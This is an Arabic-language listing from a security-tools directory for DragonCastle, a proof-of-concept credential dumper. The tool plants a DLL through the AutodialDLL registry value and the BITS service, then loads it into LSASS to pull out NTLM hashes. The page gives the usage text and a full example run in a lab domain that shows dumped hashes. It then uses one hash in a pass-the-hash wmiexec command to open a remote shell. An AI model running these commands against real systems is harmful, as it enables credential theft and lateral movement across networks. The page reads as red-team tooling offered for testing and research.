Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DragonCastle — إثبات مفهوم (PoC) يجمع بين تقنية الحركة الجانبية AutodialDLL وSSP لاستخراج تجزئات NTLM من عملية LSASS. | Kitploit
أدوات/GitHubGitHub/mdsecactivebreach/dragoncastle
كسر كلمات المرورالحركة الجانبيةما بعد الاستغلال
GitHubmdsecactivebreach/dragoncastle

DragonCastle

إثبات مفهوم (PoC) يجمع بين تقنية الحركة الجانبية AutodialDLL وSSP لاستخراج تجزئات NTLM من عملية LSASS.

عرض المستودع
30638منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

DragonCastle

إثبات المفهوم (PoC) يجمع بين تقنية الحركة الجانبية AutodialDLL و SSP لاستخراج تجزئات NTLM من عملية LSASS.

الوصف

رفع ملف DLL إلى الجهاز الهدف. ثم تمكين السجل عن بعد لتعديل إدخال AutodialDLL وبدء/إعادة تشغيل خدمة BITS. ستقوم Svchosts بتحميل ملف DLL الخاص بنا، وإعادة تعيين AutodialDLL إلى القيمة الافتراضية وإجراء طلب RPC لإجبار LSASS على تحميل نفس DLL كموفر دعم أمان. بمجرد تحميل DLL بواسطة LSASS، سيبحث داخل ذاكرة العملية لاستخراج تجزئات NTLM والمفتاح/IV.

يعيد DLLMain دائمًا False حتى لا تحتفظ به العمليات.

تحذيرات

يعمل فقط عندما لا يكون RunAsPPL ممكّنًا. أيضًا أضفت دعمًا لفك تشفير 3DES فقط لأنني كسول، ولكن يجب أن يكون إضافة كود لـ AES سهلًا جدًا. لنفس السبب، طبقت الدعم فقط لإصدارات Windows التالية:

الإصدارالدعم
Windows 10 version 21H2
Windows 10 version 21H1مُطبَّق
Windows 10 version 20H2مُطبَّق
Windows 10 version 20H1 (2004)مُطبَّق
Windows 10 version 1909مُطبَّق
Windows 10 version 1903مُطبَّق
Windows 10 version 1809مُطبَّق
Windows 10 version 1803مُطبَّق
Windows 10 version 1709مُطبَّق
Windows 10 version 1703مُطبَّق
Windows 10 version 1607مُطبَّق
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

التواقيع/الإزاحات/الهياكل مأخوذة من Mimikatz. إذا أردت إضافة إصدار جديد، فقط تحقق من وظيفة sekurlsa في Mimikatz.

الاستخدام

root@kitploit:~
psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value

مثال

خادم Windows على 192.168.56.20 ومراقب المجال على 192.168.56.10:

root@kitploit:~
psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!
root@kitploit:~
psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

المؤلف

خوان مانويل فيرنانديز (@TheXC3LL)

المراجع

  • https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/
  • https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/
  • https://adepts.of0x.cc/physical-graffiti-lsass/
  • https://blog.xpnsec.com/exploring-mimikatz-part-2/
تنزيل الأداة